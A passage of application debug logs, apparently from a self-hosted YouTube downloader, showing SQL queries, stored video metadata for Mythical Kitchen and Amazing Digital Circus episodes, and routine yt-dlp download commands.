donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ed Sheeran Eats His Last Meal", "https://www.youtube.com/watch?v=sYlEkm9bcRU", "sYlEkm9bcRU", 2257, false, "/downloads/Last Meals/2025-10-09 Ed Sheeran Eats His Last Meal/Ed Sheeran Eats His Last Meal [sYlEkm9bcRU].mp4", false, 1, ~U[2025-10-09 10:01:25Z]] 20:48:38.687 [debug] QUERY OK source="sources" db=0.1ms idle=544.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:38.688 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:38.688 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [69] 20:48:38.688 [info] Kicking off download for media item #69 (sYlEkm9bcRU) 20:48:38.689 [debug] QUERY OK source="tasks" db=0.1ms idle=1.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [74, 69, ~U[2026-03-28 00:48:38Z], ~U[2026-03-28 00:48:38Z]] 20:48:38.689 [debug] Current batch of media processed. Will check again in 1000ms 20:48:39.143 [debug] Current batch of media processed. Will check again in 1000ms 20:48:39.690 [debug] Current batch of media processed. Will check again in 1000ms 20:48:40.144 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Pomni and friends spend an honest day’s hard work at popular fast food chain; Spudsy’s! Keep an eye out though, Gangle is the manager and has a brand new mask… it’s like she’s a whole NEW person!\n\nWe also have ALL NEW SPECIAL Digital Circus goodies including SPECIAL Spudsy branded clothing! Available now at: https://digitalcircus.store Consider getting something to help support the production of more episodes. No pressure though! Have a great day ❤️", "duration" => 1399, "filename" => "/downloads/TADC/2024-12-13 THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade/THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade [Q9KWcWKo2T8].mp4", "id" => "Q9KWcWKo2T8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Q9KWcWKo2T8", "playlist_index" => 4, "timestamp" => 1734130806, "title" => "THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade", "upload_date" => "20241213"} 20:48:40.145 [debug] QUERY OK source="sources" db=0.3ms idle=87.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:48:40.145 [debug] QUERY OK source="sources" db=0.1ms idle=87.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:40.146 [debug] QUERY OK source="media_items" db=0.1ms idle=88.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-13 23:00:06Z], 2] 20:48:40.147 [debug] QUERY OK source="media_items" db=0.6ms idle=88.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Pomni and friends spend an honest day’s hard work at popular fast food chain; Spudsy’s! Keep an eye out though, Gangle is the manager and has a brand new mask… it’s like she’s a whole NEW person!\n\nWe also have ALL NEW SPECIAL Digital Circus goodies including SPECIAL Spudsy branded clothing! Available now at: https://digitalcircus.store Consider getting something to help support the production of more episodes. No pressure though! Have a great day ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade", "d99b1ca9-d05a-4fdf-ae4a-a43d799aea11", "https://www.youtube.com/watch?v=Q9KWcWKo2T8", false, "Q9KWcWKo2T8", 1399, false, 4, "/downloads/TADC/2024-12-13 THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade/THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade [Q9KWcWKo2T8].mp4", false, false, 2, [], 0, ~U[2024-12-13 23:00:06Z], ~U[2026-03-28 00:48:40Z], ~U[2026-03-28 00:48:40Z], "Pomni and friends spend an honest day’s hard work at popular fast food chain; Spudsy’s! Keep an eye out though, Gangle is the manager and has a brand new mask… it’s like she’s a whole NEW person!\n\nWe also have ALL NEW SPECIAL Digital Circus goodies including SPECIAL Spudsy branded clothing! Available now at: https://digitalcircus.store Consider getting something to help support the production of more episodes. No pressure though! Have a great day ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade", "https://www.youtube.com/watch?v=Q9KWcWKo2T8", "Q9KWcWKo2T8", 1399, false, "/downloads/TADC/2024-12-13 THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade/THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade [Q9KWcWKo2T8].mp4", false, 2, ~U[2024-12-13 23:00:06Z]] 20:48:40.147 [debug] QUERY OK source="sources" db=0.1ms idle=23.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:40.147 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:40.148 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [70] 20:48:40.148 [info] Kicking off download for media item #70 (Q9KWcWKo2T8) 20:48:40.149 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [75, 70, ~U[2026-03-28 00:48:40Z], ~U[2026-03-28 00:48:40Z]] 20:48:40.149 [debug] Current batch of media processed. Will check again in 1000ms 20:48:40.468 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=A1Ij6ypJQyY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a6/61/a66104a867fbef1676589bc68a43920b82bcb3ae7b6dff33ca145621b3332a57.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:48:40.484 [debug] Running yt-dlp command for action: download_thumbnail 20:48:40.484 [debug] QUERY OK source="settings" db=0.0ms idle=336.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:40.484 [debug] QUERY OK source="settings" db=0.0ms idle=336.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:40.484 [debug] QUERY OK source="settings" db=0.0ms idle=335.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:40.485 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=A1Ij6ypJQyY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/1/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/b4/a0/b4a0342df3431aab37dfe8db9b1458fbd56ebbb84b4ab8bfc1df950e1d4988ac.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:48:40.691 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Aaron Taylor-Johnson's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Aaron's Last Meal\n0:31 Saving Dog's Lives\n1:54 Have You Thought About Your Last Meal Before?\n2:32 1st Course\n4:41 The Dichotomy Of Drama And Fun\n6:58 Embodying A Movie Star\n8:25 Childhood Beginnings\n9:57 Acting Is Theraputic\n10:58 2nd Course\n13:12 Freezer Food To Caviar\n15:23 Being A Father\n16:53 3rd Course\n18:00 Diet & Training for Kraven The Hunter\n21:31 Humans Crave Struggle\n22:45 Acting As Escapism\n24:45 Being A Role Model\n26:07 4th Course\n27:11 Josh Learns About Pancake Day\n28:53 Marrying An Artist\n30:40 Love & Legacy\n31:36 Lightning Round\n34:43 Aaron's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2125, "filename" => "/downloads/Last Meals/2024-12-05 Aaron Taylor-Johnson Eats His Last Meal/Aaron Taylor-Johnson Eats His Last Meal [gbNeBNx8_Yk].mp4", "id" => "gbNeBNx8_Yk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gbNeBNx8_Yk", "playlist_index" => 67, "timestamp" => 1733396450, "title" => "Aaron Taylor-Johnson Eats His Last Meal", "upload_date" => "20241205"} 20:48:40.691 [debug] QUERY OK source="sources" db=0.1ms idle=542.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:40.692 [debug] QUERY OK source="sources" db=0.0ms idle=542.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:40.692 [debug] QUERY OK source="media_items" db=0.1ms idle=207.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-05 11:00:50Z], 1] 20:48:40.693 [debug] QUERY OK source="media_items" db=0.7ms idle=207.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Aaron Taylor-Johnson's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Aaron's Last Meal\n0:31 Saving Dog's Lives\n1:54 Have You Thought About Your Last Meal Before?\n2:32 1st Course\n4:41 The Dichotomy Of Drama And Fun\n6:58 Embodying A Movie Star\n8:25 Childhood Beginnings\n9:57 Acting Is Theraputic\n10:58 2nd Course\n13:12 Freezer Food To Caviar\n15:23 Being A Father\n16:53 3rd Course\n18:00 Diet & Training for Kraven The Hunter\n21:31 Humans Crave Struggle\n22:45 Acting As Escapism\n24:45 Being A Role Model\n26:07 4th Course\n27:11 Josh Learns About Pancake Day\n28:53 Marrying An Artist\n30:40 Love & Legacy\n31:36 Lightning Round\n34:43 Aaron's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Aaron Taylor-Johnson Eats His Last Meal", "e846a4b0-1f4a-416e-a6a4-93467e5cf94d", "https://www.youtube.com/watch?v=gbNeBNx8_Yk", false, "gbNeBNx8_Yk", 2125, false, 67, "/downloads/Last Meals/2024-12-05 Aaron Taylor-Johnson Eats His Last Meal/Aaron Taylor-Johnson Eats His Last Meal [gbNeBNx8_Yk].mp4", false, false, 1, [], 0, ~U[2024-12-05 11:00:50Z], ~U[2026-03-28 00:48:40Z], ~U[2026-03-28 00:48:40Z], "Today, Josh is cooking Aaron Taylor-Johnson's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Aaron's Last Meal\n0:31 Saving Dog's Lives\n1:54 Have You Thought About Your Last Meal Before?\n2:32 1st Course\n4:41 The Dichotomy Of Drama And Fun\n6:58 Embodying A Movie Star\n8:25 Childhood Beginnings\n9:57 Acting Is Theraputic\n10:58 2nd Course\n13:12 Freezer Food To Caviar\n15:23 Being A Father\n16:53 3rd Course\n18:00 Diet & Training for Kraven The Hunter\n21:31 Humans Crave Struggle\n22:45 Acting As Escapism\n24:45 Being A Role Model\n26:07 4th Course\n27:11 Josh Learns About Pancake Day\n28:53 Marrying An Artist\n30:40 Love & Legacy\n31:36 Lightning Round\n34:43 Aaron's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\ (truncated) 20:48:40.693 [debug] QUERY OK source="sources" db=0.0ms idle=208.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:40.694 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", 